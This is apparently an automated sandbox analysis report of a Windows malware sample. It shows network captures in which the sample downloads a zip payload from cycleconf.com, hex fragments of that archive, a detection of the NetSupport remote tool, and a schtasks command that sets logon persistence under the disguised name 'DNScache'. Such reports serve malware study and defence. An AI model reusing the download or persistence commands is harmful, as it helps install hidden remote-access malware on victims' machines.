2024-12-06 09:39:26 UTC	8000	IN	Data Raw: 79 03 f9 92 16 49 f3 a6 7f 03 73 8b 59 05 cd c4 2a 42 db 0e fc c6 84 84 e3 a7 bb 42 20 64 05 a8 6d 9c 4e 32 5e 46 c6 03 dd 78 08 7b 3c d0 8e 4f 51 d8 46 5d 11 49 ae 48 93 93 2b ec 13 7a c7 db c6 19 fc 7e eb c1 df 5a 2d 21 bf b6 31 28 89 0c 23 91 b9 61 fa e0 f6 55 12 aa 22 24 24 02 e3 3f 4a 42 46 41 4b 28 91 45 10 99 3d c2 16 6e 08 53 49 e2 22 48 5c da 28 12 97 12 a9 1f 85 74 d3 09 f1 87 f5 06 70 dd 70 03 21 67 6d 0c 4a c2 24 04 43 62 7e a2 49 9c 1d f2 33 5e 0a e9 70 82 c4 4b da 49 24 ba d1 32 07 0a f2 66 ec 58 5e e6 82 e5 9a 1c 4b 26 17 2b c8 e4 7c 39 99 9c 36 9a 4c b6 27 78 21 86 dd 63 dd 50 66 68 da ca 06 a5 2d 8d 5f 4a 98 8a ba 15 8f 05 fc 18 12 7f 8c f2 d5 d3 78 61 9d 88 0a 23 51 92 87 87 c6 79 33 4f 9f f3 61 b6 ab 0e c8 c8 01 28 63 f2 8f a3 49 74 71 Data Ascii: yIsY*BB dmN2^Fx{<OQF]IH+z~Z-!1(#aU"$$?JBFAK(E=nSI"H\(tpp!gmJ$Cb~I3^pKI$2fX^K&+\|96L'x!cPfh-_Jxa#Qy3Oa(cItq
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: 3f a6 ca 97 06 11 35 c4 40 ee ff 90 22 02 00 df be 86 e4 f8 7e 5e d5 cd ca c1 dc c9 f2 a0 96 3c 65 e7 68 e7 61 65 89 38 06 70 ec 5f 0e d7 b3 35 77 b0 72 67 d1 d3 d5 65 51 d2 d5 14 47 9c 10 53 12 10 91 97 07 04 50 48 91 e3 08 4e 80 7d 3f f3 98 be 87 dd fd 65 8e 80 ae 87 b9 a3 0b 8b ae 95 9b 97 9d 85 15 16 43 2e 09 60 f0 7e f6 5e 48 6f fa 38 bd 6c 97 3f b5 f7 4a 2d 30 e9 cf f5 78 c0 bf 05 2b be 8c 0c 4a 0d ff e5 13 7f 41 0a 60 df 79 41 00 48 61 a4 30 ee f3 f8 6e 09 8e 00 10 48 c4 97 e6 7f d5 fa fc 43 4b a7 38 5d 74 e0 f5 5b bd e4 58 de c1 d2 b1 41 ac 8f 82 10 51 15 7d df 26 9f 93 83 03 b9 9a 0d d1 88 ce 6d 94 1a fb ec 47 e9 da e5 22 c9 a7 67 08 55 0f f3 c2 52 8d f8 fb 49 4e 73 95 0d 0b 15 2b c4 55 94 7e 70 b3 0e 48 28 7b 0a e2 bc cf 21 ed 7f 95 8c 7d 1c d5 Data Ascii: ?5@"~^<ehae8p_5wrgeQGSPHN}?eC.`~^Ho8l?J-0x+JA`yAHa0nHCK8]t[XAQ}&mG"gURINs+U~pH({!}
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: 7d bf 2d b4 00 97 5d 21 88 27 76 4b 5d a8 df 89 ed be 03 86 48 5c 4c c0 a9 fb 57 93 7b 33 c7 15 67 18 bc 29 22 70 2e 1a eb 2a 6d e8 a2 e9 ed be ba 4b 1c 46 88 c9 de 0e 74 92 aa d7 18 43 9e 52 26 88 e4 30 65 cb 37 23 99 13 d7 5e fb d2 57 57 3f 45 f7 42 4d 95 cd a8 06 ea 79 ff a3 b4 45 73 93 a5 a4 b7 82 18 e3 4c 16 03 ce 44 29 a9 e4 21 8e 03 44 3e 14 9f b3 74 cf a5 41 fa 5c 77 20 99 bd 17 b2 f7 60 6e a2 68 75 c2 ff 3a 78 4c 61 24 86 63 36 67 8a b8 5a a2 ff 80 7a dd 81 14 48 95 42 53 0e a8 43 d8 9d 59 ef 4d 10 6b ac 2a 63 4d 62 20 e1 bb 26 36 dd 8a e2 89 ed 20 29 5f 36 31 9b 76 8a da d1 33 83 d1 1d ba 2e e6 42 07 c8 ec f4 10 40 17 2a d3 54 23 05 f2 2d 89 da 5e 8a e8 3b 5c 52 cc df 0f 12 0d 7f dd 96 74 f8 9b 6f b1 c3 df c9 38 48 b6 83 98 f5 f9 17 88 19 7f 0f Data Ascii: }-]!'vK]H\LW{3g)"p.mKFtCR&0e7#^WW?EBMyEsLD)!D>tA\w `nhu:xLa$c6gZzHBSCYMkcMb &6 )_61v3.B@*T#-^;\Rto8H
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: a8 98 63 d0 76 78 4e 04 93 e4 22 81 ac 77 8e d8 45 0d b7 d5 18 55 2c 04 3a 52 e3 ed 0b dc 1a 62 c6 1b 84 8d 8d 13 68 08 b3 de 30 20 5e 18 71 9a 06 d4 e1 5b 07 97 af d1 ac d8 6f c7 ce 48 12 eb fe f0 11 cd 8a 7b 1f ac b8 5b af 70 f0 ab ba 88 c1 5b 62 1b 71 ce 41 fa 9a 31 2b 0e d4 e8 54 b3 be 6d ea a2 da 26 aa 76 1d a0 46 9d 9d 23 36 30 46 9d 83 36 d1 da 8c d8 a2 f1 09 96 5c 63 3c b3 e6 ca a8 35 27 7c 30 84 31 c7 af ec a1 d8 70 c2 20 b5 6b 48 9d cc 82 5a 22 28 fa 86 0e c2 88 5d 8c a6 28 d5 63 19 40 95 7d e1 69 b5 83 14 a1 35 07 b6 84 55 c2 75 33 8a cd 77 43 9a 51 28 c2 c5 81 91 21 ef d3 4c de 53 69 d4 56 dc aa 2a d6 26 2b fc e4 13 aa 2b b3 8b 34 88 69 75 78 0d 43 23 fd 74 c6 29 4e 4e 3e 61 b1 18 ec fb 0a 9e 46 08 f6 1c 2d a6 35 79 86 c2 a4 7b 06 e7 29 52 ef Data Ascii: cvxN"wEU,:Rbh0 ^q[oH{[p[bqA1+Tm&vF#60F6\c<5'\|01p kHZ"(](c@}i5Uu3wCQ(!LSiV*&++4iuxC#t)NN>aF-5y{)R
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: da 51 8a 0a 81 8c 25 80 dd c6 19 28 85 f0 b4 d1 72 44 d4 02 92 81 9c 1d f6 36 64 82 63 c2 12 81 8c cc 0b e2 68 fa 50 9e d1 75 e9 8d 09 f2 c2 a5 37 ca 72 eb df 4d fc 13 8e 19 c5 39 a3 90 24 25 49 a5 32 7f 5c b3 44 9d 2f 93 10 99 33 89 ce 07 db 15 2c ff f2 b3 a5 24 fb c3 14 22 3b 96 4c 71 b8 d4 f9 21 e2 91 b6 21 91 da 4f c0 3b 85 38 42 62 ec 11 7e 08 89 e4 1d 63 c7 53 c9 92 68 fd fb 09 bc 0d 6f 23 2e 1e 3c 43 26 1c 4b 9e c6 2d 31 c2 8d 34 24 46 b8 0b f2 78 22 37 25 10 79 39 c0 d2 14 1b 86 f7 22 b4 07 99 33 08 79 0e dc 73 96 24 90 5c e7 a3 24 d7 f4 08 c9 15 06 49 0a 64 ec be 9b 21 af 20 63 f2 13 25 24 b1 fc 87 44 09 b4 e6 99 84 bc fd 36 8b ef f5 ed 10 7f f0 73 a0 16 64 00 6f c6 19 46 13 6e 17 a4 90 ef ad d3 c7 ad 0f 0a 65 3f 4c c3 eb cf 4c 9f 2f 38 45 ff 18 Data Ascii: Q%(rD6dchPu7rM9$%I2\D/3,$";Lq!!O;8Bb~cSho#.<C&K-14$Fx"7%y9"3ys$\$Id! c%$D6sdoFne?LL/8E
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: e0 e5 f7 23 7a a7 6b bc 2d 30 67 3e 3e 67 e1 57 d7 35 d4 87 c2 dc 6b fa a6 f3 f9 e6 fb be 33 ef 11 de e6 6b 79 ba 79 7d d2 b5 dd 36 6f fe bc ef 0a 02 ef 3b e8 43 e1 23 f8 0d f4 49 57 7c db bc 47 e6 3c 06 09 7f 3f 4a 4f 7d 2a dc 06 bf 9e bb 7a a7 9b 20 fc ff c8 5f 25 eb f4 b0 4f 42 75 a2 10 1c e6 db 01 63 e6 33 ea 86 67 fa 7a 84 e1 99 f2 cb 4b f5 42 68 b7 89 d9 45 56 2e 3a 5d 4a 56 5b 77 76 66 75 d5 2e a3 b0 2f f6 97 94 bf 7f 72 fe 87 b4 fc 16 e6 30 b1 4a d1 c9 4a 45 97 db a9 64 b5 73 38 26 a1 57 fe 81 c9 f9 73 b5 fc 56 e6 b0 b0 4a 93 13 6a e2 82 aa b8 b1 2e 27 39 0c 4b 42 5d fa d4 c7 92 0c af 6d c9 65 ea 73 fa 32 f5 19 9a 9c 7f cd 92 5e fd 71 26 65 7f 40 bc 54 22 aa c1 2a b0 40 a6 5f f0 c8 d7 fe 2c 4b f0 0b 6c bf 9c fe 9b 2c 21 5a 2a e2 00 54 37 5f be fe Data Ascii: #zk-0g>>gW5k3kyy}6o;C#IW\|G<?JO}z _%OBuc3gzKBhEV.:]JV[wvfu./r0JJEds8&WsVJj.'9KB]mes2^q&e@T"@_,Kl,!Z*T7_
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: 1e be 6d 2d d9 bb a3 76 1c 08 12 ca ce 0b 68 6c e2 2f 88 d8 5b 81 f2 c8 df 47 20 0e 13 4c 43 97 37 6a 6f 2d a0 9d cb ce 0b 74 10 65 39 6e a9 de 79 02 cf 2f 58 cc 5b d6 ac 72 e3 86 ea ba 7a f8 f9 83 0e 8d c3 f0 94 8e 37 52 d9 0a 84 a4 4d fe c9 4b 43 00 3e 10 9f 80 31 dc 18 34 d6 9f 08 de b9 41 17 78 a2 b0 f1 bc fd 88 18 48 db 46 56 77 1e 60 9e bb 00 38 85 1a 20 54 a7 85 9e 83 d0 8e a9 a1 5a ab 10 bc 8d 55 9a 22 8e 56 97 5f e7 1e 88 e6 13 5e 24 96 59 dd 90 60 99 a3 8d 98 82 5a 39 7c 3e 98 81 6f 00 35 54 bb 4f 08 c0 fc 36 41 8b 80 d0 23 9b de 73 81 cc a3 8a 25 3c 90 d1 6d 5e 35 08 ba b0 7a 56 0d 76 96 45 58 13 75 09 99 7b 5c da de aa fa a7 8b ff d3 c5 df ae f8 17 4b d2 7b d3 95 87 24 27 de b7 2f e9 3c 5b 27 9e 67 fb 77 ad 29 76 9e ad 7e 55 ca f3 6c aa fd e0 Data Ascii: m-vhl/[G LC7jo-te9ny/X[rz7RMKC>14AxHFVw`8 TZU"V_^$Y`Z9\|>o5TO6A#s%<m^5zVvEXu{\K{$'/<['gw)v~Ul
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: 1e 36 9e 60 f2 a3 5d d0 5b d8 3b 71 bf 2e 3c 4a a4 28 e0 cf fe 0e 84 49 b6 95 c3 4c 9f 6c 55 6f 34 06 e8 0f e2 0e d6 5e f9 a9 3b a1 2d 7b e5 59 a3 f1 92 db a1 e5 24 ee f3 11 d6 34 62 2f ff 01 af 2f 4f a5 0e fb 96 5b 73 0e 15 e7 c7 61 a1 bf 9f 95 5b 43 17 50 39 91 de a1 67 2d b6 f6 79 93 13 5e 99 c7 62 68 b3 1d 5e 50 88 61 c3 58 3a 73 98 5c f9 ed c0 f3 ec 97 87 7e 89 e7 f1 49 09 e1 00 29 40 0b 56 2e 6a c1 c8 3e 27 50 2f a9 48 a3 5e 57 01 54 da 67 35 7c 0c 24 5b 09 cc 42 82 13 a3 57 9f a6 a2 57 62 02 bd 12 91 5e 55 38 e5 cf 5d 57 a0 56 62 32 b5 12 fb da 2b cc 7e ee ca f6 0a fe 6c b9 f9 0e e8 ee 2e 9c 09 c1 98 bd c2 f9 80 19 6a be e7 76 10 ca d2 f7 a5 93 a6 fa 7c 7c 0f d1 75 a7 85 ba a3 1d cf 13 96 8a 52 b9 49 c9 72 e2 d8 d5 e2 a9 2a 68 eb 10 0d 51 95 ac 19 Data Ascii: 6`][;q.<J(ILlUo4^;-{Y$4b//O[sa[CP9g-y^bh^PaX:s\~I)@V.j>'P/H^WTg5\|$[BWWb^U8]WVb2+~l.jv\|\|uRIr*hQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	23.254.224.41	443	1136	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 09:39:30 UTC	55	OUT	GET /dwnld/1st2_4.zip HTTP/1.1 Host: cycleconf.com
2024-12-06 09:39:31 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:39:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:51 GMT Accept-Ranges: bytes Content-Length: 251071 Vary: Accept-Encoding Content-Type: application/zip
2024-12-06 09:39:31 UTC	7929	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 32 61 87 4f f3 8c 1d 79 d5 2c 00 00 00 b4 00 00 0c 00 00 00 73 78 73 68 61 72 65 64 2e 64 6c 6c ec 7d 0d 78 54 c5 d5 f0 6c 92 4d 42 92 f5 6e 80 85 f0 93 b0 c0 a6 46 11 5c b3 80 89 21 b2 4b 76 e1 a6 6c 30 90 00 11 81 24 24 0b 89 e4 67 dd dc 85 60 11 88 c9 56 d6 eb 5a 6a 6b 4b 5b 7f b0 9f 55 d4 be 15 ad ad 21 fa b6 1b 82 24 14 50 44 ad 28 fd 24 fe 6f 0c 68 b4 96 9f 68 b9 ef 39 33 f7 ee 1f b1 f6 7b de 7e df f3 f4 7b f7 f8 4c e6 ce 99 73 ce 9c 99 39 73 e6 cc dc bb 58 b2 6a 17 89 27 84 24 40 92 24 42 3a 09 03 33 f9 76 18 82 74 c5 94 ae 2b c8 73 a3 8e 4d ed 54 d9 8f 4d 2d af ab 6f d1 3b 5d cd 1b 5c d5 8d fa 9a ea a6 a6 66 41 bf ce a1 77 b9 9b f4 f5 4d 7a eb 4d 65 fa c6 e6 5a c7 2c 8d 26 c5 20 cb 38 f3 b2 fd e8 de a7 a7 3d ac a4 47 Data Ascii: PK2aOy,sxshared.dll}xTlMBnF\!Kvl0$$g`VZjkK[U!$PD($ohh93{~{Ls9sXj'$@$B:3vt+sMTM-o;]\fAwMzMeZ,& 8=G
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: f7 7f 7f e3 83 bf 3f 7b 21 35 b7 d6 af b4 bf ac cc 5a e6 cd ef b9 7f af f9 be fd 1b 3e 70 ed f6 5b 5e 5f 85 f6 db d2 da 52 57 ed 72 d4 ce 72 d6 ae a3 84 cb 17 95 e2 c0 ea 95 df 96 1a 98 67 d2 03 ce 18 a7 e0 1a 9c 46 63 90 13 66 79 6a ae b1 d2 e9 aa bf 1e e6 0a 96 c0 50 9a 42 d7 d8 84 bc e6 29 e1 f2 1a 9b 0c 46 23 a9 02 9c 39 5e c1 b5 d2 65 92 18 a4 d9 52 8b 7c 8f 01 ae 2b d8 e6 ed 5b 10 57 05 86 d2 3f 31 88 bb 9d ea 5c 0a eb 1e 3a c3 7e e3 6a 58 e7 aa 09 fd 6e 76 56 3d c5 cd 21 6c 8f a2 36 33 cb 68 ac 59 0f 83 55 0a 65 3c a1 cc 2a 5a 56 6e a8 28 b2 20 4d 45 24 6e 39 6d 33 12 b7 0a 71 75 11 b8 62 ca eb 8c c2 21 b2 35 12 b7 8a b0 bd 91 60 07 67 6d 58 5f 5f db 42 f7 42 92 46 cb f5 d5 02 94 87 a0 ac 0f f6 07 74 5e ce 7e 9e cc ca ac d3 b8 56 f6 c4 87 e1 6e af Data Ascii: ?{!5Z>p[^_RWrrgFcfyjPB)F#9^eR\|+[W?1\:~jXnvV=!l63hYUe<*ZVn( ME$n9m3qub!5`gmX__BBFt^~Vn
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: b4 7d 4a ac 66 86 9c c4 6a 8a e2 c8 67 be bc 8a 91 ad 88 b6 d9 ad 7b 70 41 aa 9b 04 32 1b 29 dd 27 de 94 95 61 30 45 9f 0c 36 42 94 3d 1c 9d 3a 55 9d 94 8e bd d7 11 5b fb 3c 61 80 d8 8f 09 33 9b 8c ae 70 89 11 6d 0f 69 b4 b5 24 d3 43 44 35 3d 80 1a 32 c8 f4 30 51 45 96 00 fb a2 00 8b 50 08 46 3f 4d b7 64 a4 2d 65 41 4e 4d 8f 56 a3 91 b2 0a 0c 7b 0b b4 69 4e 45 0b 69 26 39 e4 cd 95 43 f3 2d b1 4f 80 1b 41 0d c8 d2 3b 94 8f 63 c3 ce c6 e3 a9 f6 be 01 7e f4 94 39 72 96 b6 16 7c af a3 bf cf af 6e 2d 2c c4 a3 48 9e ba 94 98 ac fc 2b 9e 19 60 37 5e ec d2 08 05 da d1 e2 c8 3b 0e 65 22 c4 09 ed e6 5c 22 78 dc 07 d3 de 18 02 9b f2 22 a8 82 35 f3 a3 0f 64 38 78 5a 85 9a 98 1c 2e ea a4 43 02 59 b9 18 5a 43 a9 17 0a e6 92 2e ff 85 aa b7 9a 90 94 8a a3 75 80 ed 1e 47 Data Ascii: }Jfjg{pA2)'a0E6B=:U[<a3pmi$CD5=20QEPF?Md-eANMV{iNEi&9C-OA;c~9r\|n-,H+`7^;e"\"x"5d8xZ.CYZC.uG
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: 94 a0 d0 2e ca 47 a4 dc 1c 59 fe d6 60 c1 74 10 52 94 f7 63 af bc 95 10 4c 3b 79 ca ef df 12 93 70 a2 3a 20 69 f7 3a 0e e8 e9 be ed db 47 71 04 45 05 9a d8 6b 47 c5 51 ea 3b 10 e0 f7 6b 50 f0 c7 0e 60 fa 01 03 bf 4b 13 3b 44 31 a3 88 bd 4a 31 93 88 f5 1c 15 04 e2 98 c6 1f a2 a2 6a 74 17 6e b6 3c 28 d7 33 55 f3 c5 aa bc 23 40 ed d9 a3 49 14 41 ce 37 c3 d5 9c bd d4 81 29 ef a4 74 e0 d2 77 d4 9e ff fa f9 91 40 a6 27 7e b9 33 8d 1b 05 67 11 08 5c 07 5d 2a 88 e7 71 55 9f 68 25 a6 9e d7 1f ab fe 03 69 20 6b 87 27 26 d3 0b 29 d1 05 5f e2 fa 7a 1e 83 56 0a 46 fe 30 c0 e4 16 53 ca 4b 90 d2 fa 1d 72 0e df ac 04 3f b9 f3 87 7a 61 a3 5e 63 4c 7d 38 ed cd 0e 87 cf c6 ff 02 85 8c 6b a4 2e 3d 6c 98 a5 5f ee 6b d2 d3 83 11 fc 84 08 ac f2 3d a3 a8 d3 7f 1f c5 af 79 9b 94 Data Ascii: .GY`tRcL;yp: i:GqEkGQ;kP`K;D1J1jtn<(3U#@IA7)tw@'~3g\]*qUh%i k'&)_zVF0SKr?za^cL}8k.=l_k=y
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: bf 20 7e 08 e7 84 0c 3b f5 12 f5 19 c2 1d 0d f9 87 ff aa 4a f4 0f 46 a2 c6 fe 49 e6 1f c8 46 df cf d7 c3 6f 18 fa bf 68 6a ce aa d5 6b c6 d7 c4 1b d3 b1 40 9f 12 e8 e3 73 41 26 c8 1d d1 9d 6e d6 5e 32 b8 82 5c b5 8f ff 14 c3 52 1a bf 0d c2 7c 4d da d7 ee 6e 9b c0 03 30 3b 78 93 06 e9 1b c5 d3 71 2f f6 a7 5c d1 4f 6c 62 ec 11 95 0a ec c3 83 35 09 9f 3f d5 06 a9 a1 97 52 c3 44 c8 49 87 bf 74 84 53 b1 70 af e2 ef c5 5c 05 e8 17 73 14 da 26 e1 ef 5d e2 37 cd 62 36 e8 43 21 df 2d 13 39 24 dc 07 51 40 cf ad bc c7 df cf 58 be 83 85 ac 29 2a 50 48 4c 03 71 cf f3 4d 48 ee 2c a6 12 7f 3f 54 76 31 7f 3f 8c 6b b1 b0 4f 84 de 3e 3e 73 22 fa 49 7f 74 bf 2d 16 ee 87 a5 b0 b5 be 1a 41 5a ec 04 e0 08 24 a3 e4 d3 d1 9d fd b6 5d d7 18 b6 f0 0f 04 71 96 03 d7 30 c7 76 cd 86 Data Ascii: ~;JFIFohjk@sA&n^2\R\|Mn0;xq/\Olb5?RDItSp\s&]7b6C!-9$Q@X)*PHLqMH,?Tv1?kO>>s"It-AZ$]q0v
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: 6d d7 52 6c 95 16 2d 44 7d 5d 6f a4 fd d4 dd 10 2d de fa 4d ea 36 b4 77 ed 0f c1 8c 53 37 13 47 19 e7 28 22 8e 43 c4 61 0a c4 18 90 76 2d 59 6b 83 77 63 7f 53 20 46 a4 8c bd 4d 81 87 c8 0b ce fe 3c 77 62 a9 08 88 9d d8 6b ab 1d 31 61 8f 24 98 90 91 72 90 b4 1c e3 d8 c5 17 41 5a 84 5b 56 1c bb 30 60 7d 48 8b f0 3e 2d d6 c1 11 7d 31 39 fb ca 1f 56 2b 17 81 60 ca 3e 45 dc 04 1e 61 32 c5 c4 8d a0 09 be 2c fd 07 39 0c 45 32 63 ff 18 89 5c da 98 92 7a 67 31 76 24 02 e0 ab 3f 48 6d ee b2 31 a1 48 5b 5f 62 a8 f6 be a4 ee dc 97 b6 ff 61 eb 4b 83 b1 2f ad b9 d3 b5 2f e1 62 41 0f d6 f3 0e b7 69 c5 f3 e3 78 d5 4d 6c b2 58 54 5a 68 99 57 6c a5 c7 68 1c 8f 02 b8 bc 61 d0 46 12 5c e7 de 88 37 17 69 39 4f a1 a9 06 fa 1c 20 44 1f c7 93 1b 09 1d 40 f8 d5 22 31 7b 32 08 b7 Data Ascii: mRl-D}]o-M6wS7G("Cav-YkwcS FM<wbk1a$rAZ[V0`}H>-}19V+`>Ea2,9E2c\zg1v$?Hm1H[_baK//bAixMlXTZhWlhaF\7i9O D@"1{2
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: 19 e2 c4 a5 53 55 8e a5 e1 80 2f b7 ff 0e 19 8c 4e a5 00 4e ea 1d 07 9c b9 b7 1c b9 47 79 c3 cc c1 88 63 f7 7c 60 b5 86 00 8e 01 79 7e 71 ec f3 e0 30 5d d3 0a ab d2 85 1f e2 e9 df d4 d6 16 05 88 2e 20 b2 8c 22 5f 47 c1 a3 56 7d 55 37 39 34 22 38 10 78 1f 5a 6a 0b c4 8b 89 67 99 81 14 d5 09 d5 11 5c 1c 90 e1 60 16 54 a4 52 62 a4 a5 5d 23 dd 3d c0 95 47 26 17 50 a9 27 01 52 3c 7b 7e 00 77 d3 8d 57 7a 33 af cf 53 ab fd de e8 69 ba 63 35 0e c3 fb 16 5a 0c a5 ea bb 08 cf ea c3 5e 86 69 ea 3c 83 d5 27 c6 ea d6 88 07 9d b0 a9 d2 85 ec d8 41 5c dd 1b dd c0 31 78 10 57 ef c3 f8 7a a7 fb a7 62 95 b3 b8 c8 c0 4d b4 86 91 ed c8 ca 13 78 41 c3 1c 4f 19 13 ee e9 ca 44 79 ba c7 ce 36 44 47 a7 6e dd d6 ae 5b cd 5d 01 70 d4 1c ee 29 4e 36 8f e2 b5 ad 15 cc 5c 31 c4 9e a0 Data Ascii: SU/NNGyc\|`y~q0]. "_GV}U794"8xZjg\`TRb]#=G&P'R<{~wWz3Sic5Z^i<'A\1xWzbMxAODy6DGn[]p)N6\1
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: 10 cb ce 32 31 12 3b 57 2f dc 0c 05 4f d0 e9 9b d9 c4 e9 98 47 39 48 8b 1e b8 13 87 5e 0b 66 90 42 d3 98 9d 98 6d 03 74 2d 0e 5e e5 1d 74 ca 9f 10 d1 d7 33 fa 7a f6 1d ab 2d 7d 8f 32 dc c1 b5 2c 43 df 9e 04 6a 4d f1 31 63 8f b2 1e e8 0b d8 b5 cc c6 10 eb 74 fc 14 68 93 01 df df 9f c6 17 74 53 94 2d ba 9c 7c 28 36 96 9d 8d de fd a2 08 22 8d 33 08 22 4f 21 22 47 81 b6 aa 42 fc 28 55 67 7c a2 cd fa d6 2a 47 09 f6 56 22 07 29 80 82 50 06 8a 56 cc e6 78 0f f1 55 db 7c d5 e0 eb 71 9d 7c 36 9d fd fe ae 5d 53 d9 f5 bf 98 4b 1d fc b6 9b de d7 64 fb 7e 12 50 20 7e ea 11 89 13 25 6a a8 fd d6 69 ed f4 89 a1 bf 4c b3 5a 3b 13 e7 bd fd dd d4 28 87 fa e4 48 a2 1e 61 d4 4e b3 91 04 71 9a 23 f9 9a 5a 34 c3 46 12 7e e9 44 a9 16 3d 2d d3 49 3d 1d 9d ce 51 69 1d 13 eb 0a 7d Data Ascii: 21;W/OG9H^fBmt-^t3z-}2,CjM1cthtS-\|(6"3"O!"GB(Ug\|*GV")PVxU\|q\|6]SKd~P ~%jiLZ;(HaNq#Z4F~D=-I=Qi}
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: 38 4e 95 98 d4 f7 6b c2 68 3a 25 67 8d 21 25 87 a8 f4 65 2e e1 2a 07 68 aa e2 5e 0a 05 02 5a 43 6a 65 0d 74 af 15 73 d2 a0 9c b9 58 62 7c a3 34 c2 a8 94 a4 bc 7b 2a 87 ba 46 e9 10 de 3d fe 0d 36 3c 78 8a 38 4d b0 9c 9d c2 39 47 39 c6 43 02 52 9f 54 0e c1 c4 80 8d 40 a5 e2 7b 68 98 81 a2 7c 11 93 59 3a 3d be 3b 03 fd c7 e1 59 bd 30 3c 18 07 7d 9c 0a 10 46 65 25 25 f3 07 16 42 29 ea 27 87 8e 1e db 05 95 d0 cc e4 98 ec b4 4c 8e 28 44 84 7b 91 63 46 5c a3 53 4b d1 87 ab 5a a4 0b f0 59 26 6c 6f 83 39 59 b6 86 a1 d2 3a c7 83 56 18 2f 8c 0a d3 27 65 73 7e 90 6e a2 bd 3b fe de f3 8c 47 1e 10 90 31 b6 27 6f 52 c1 bd 19 cc 3e 30 e5 9f 01 97 39 0a c3 6d 25 45 19 aa 60 fe 0a ef 0a f0 cb ae 06 99 04 dc 75 e0 7f 06 e2 35 81 b9 0b 46 3c 5e 40 b9 82 19 09 26 0c cc 6c 30 Data Ascii: 8Nkh:%g!%e.h^ZCjetsXb\|4{F=6<x8M9G9CRT@{h\|Y:=;Y0<}Fe%%B)'L(D{cF\SKZY&lo9Y:V/'es~n;G1'oR>09m%E`u5F<^@&l0
2024-12-06 09:39:31 UTC	8000	IN	Data Raw: bf f3 17 02 42 cf dd 5c eb 79 f8 d2 0a e7 c6 f2 a1 ee f4 0f 1f a5 7f d6 df 32 43 33 7d 60 4a 6f d5 c8 88 13 c3 de d7 08 2f cc ab fb f8 61 e6 bc 43 cd ce d1 d7 5d 6f ad fd dc e7 bd a1 53 d7 bf f7 5d ef 9d b9 d6 a7 34 bf d5 be 31 d9 e5 67 f9 ca 01 df bd 34 a6 ca 2f ed da 5b 8f 8d 78 6d e8 2b 2f 7c f9 da ce 0d 03 ea 15 1b 1c 82 3b 6a cf 49 b9 c1 41 01 5e 13 90 39 15 be fe 3f 75 f9 e3 de 65 1b 3b ca 4a 50 b8 db d3 51 af 8e 55 26 81 c2 a3 23 c4 51 29 c5 c9 0b 8c c0 be 0a 3f 85 4a e1 f5 e0 3d 64 f4 7e c9 e1 f5 93 bf fc 28 aa 28 e8 01 f6 b8 6f c6 1c 77 75 ea 97 dd 90 51 4e 43 88 28 2f f3 e4 7e f7 4d d7 66 f7 9c f5 b3 f6 97 eb d3 7f 54 bc 19 55 16 d5 7f 79 65 9a ec 23 97 17 e6 cd 58 50 a5 ef 2b 7d cc 75 8e 9b 65 da b5 fe fa d2 21 ba 77 f2 9b 5f 75 dd 30 e2 ea ed Data Ascii: B\y2C3}`Jo/aC]oS]41g4/[xm+/\|;jIA^9?ue;JPQU&#Q)?J=d~((owuQNC(/~MfTUye#XP+}ue!w_u0

Target ID:	0
Start time:	04:39:16
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\5q1Wm5VlqL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\5q1Wm5VlqL.exe"
Imagebase:	0x7ff749e10000
File size:	1'818'624 bytes
MD5 hash:	F411F07437DB9F29222E19AF93F72906
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:39:16
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
Imagebase:	0xd00000
File size:	5'112'587 bytes
MD5 hash:	84F3BCBD539E959C3770643D1F1712FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:39:27
Start date:	06/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff70d350000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:39:31
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST
Imagebase:	0x980000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
